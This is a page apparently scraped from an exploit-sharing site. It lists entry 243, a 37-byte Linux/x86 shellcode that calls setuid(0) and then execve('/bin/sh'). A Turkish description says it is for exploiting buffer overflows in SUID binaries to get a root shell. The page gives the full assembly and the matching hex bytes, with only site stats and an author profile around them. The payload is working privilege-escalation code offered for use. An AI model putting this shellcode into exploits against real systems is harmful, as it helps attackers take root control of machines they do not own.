Siber Alem / Detail / 243 / Linux-x86-setuid-0-execve-bin-sh-shellcode-37-bytes-klasik
vuln_report_viewer.sh
VULN REPORT / shellcode / ID: 243

Linux/x86 setuid(0) + execve(/bin/sh) Shellcode - 37 Bytes (Klasik)

2026-07-21
36 views
Verified
Linux x86

Summary

This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 36 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.

exploit_243.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-red-500 pl-5 py-3 bg-red-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-red-700 mb-1">Klasik Shellcode - Linux x86 - 37 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x86 setuid(0) + execve(/bin/sh) - 37 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">SUID biti set edilmis binary'lerdeki buffer overflow zafiyetlerini somürmek icin tasarlanmis klasik shellcode. Once setuid(0) ile kullanici ID'sini root'a ceker, ardindan kabuk acar.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Assembly</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; setuid(0)
xor   ebx, ebx       ; uid = 0
xor   eax, eax
mov   al,  0x17      ; syscall 23 = setuid
int   0x80
; execve
xor   eax, eax
push  eax
push  0x68732f2f
push  0x6e69622f
mov   ebx, esp
push  eax
push  ebx
mov   ecx, esp
xor   edx, edx
mov   al,  0x0b      ; syscall 11 = execve
int   0x80
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Hex</h3>
    <div class="bg-slate-900 text-emerald-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
\x31\xdb\x31\xc0\xb0\x17\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
    </div>
  </div>
</div>

Author Profile

certaindeath
certaindeath Elite Member
View All Submissions

Entry Stats

Views 36
Downloads 5
Comments 0
Siber Alem V1 Status: Operational | Exploits: 471 (156 Verified)
Ping: 18ms Lang: EN